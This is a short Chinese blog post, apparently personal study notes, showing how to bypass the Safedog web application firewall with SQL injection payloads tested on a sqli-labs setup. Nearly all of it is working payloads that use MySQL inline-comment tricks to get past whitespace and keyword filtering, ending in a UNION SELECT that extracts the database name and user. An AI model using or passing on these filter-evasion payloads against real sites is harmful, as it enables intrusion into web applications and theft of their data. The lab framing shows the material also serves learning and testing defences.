w0x68y

简单绕过bapass安全狗

版本


版本号为3.5.12048,规则也更新到最新

环境

我们用sqli-lab来进行测试,主要是方便,刚好有环境,改一下代码就可以用了

我们可以看到初始语句如下:
SELECT * FROM users WHERE id=\'1\' LIMIT 0,1

空白符绕过

测试单引号\'和双引号"是不拦截的

经过测试,诸如?id=1\' AND 1=1 --+的语句均会被拦截,

但是可以用如下语句进行绕过
?id=1\' AND 1=1 --+
?id=1\'/*!*/AND/*!*/1=1/*!*/--+
也就是用/*!*/替换了空格,在mysql中,可以利用/*!*/包含关键词进行绕过(这个方法已经可以被拦截了),在mysql中这个不是注释,而是取消注释的内容。

关键字绕过

?id=-1\'/*!*/union/*!*/select/*!*/1,2,3/*!*/--+
会被拦截
可以用下面语句进行绕过:
?id=-1\'/*!*/union/*!888888cas*//*!*//*!888888cas*/select/*!*/1,2,3/*!*/--+
在前后加任意的取消注释可以绕过

database() user()函数同理

databse()
替换成:/*!database*//*!()*/
user()
替换成:/*!user*//*!()*/

可以灵活运用
最后语句如下:
?id=-1\'/*!*/union/*!888888cas*//*!*//*!888888cas*/select/*!*/1,/*!database*//*!()*/,/*!user*//*!()*//*!*/--+

小弟不才,思路整理,也作为自身的笔记记录,有更好的想法可多多指点。

分类:

技术点:

相关文章: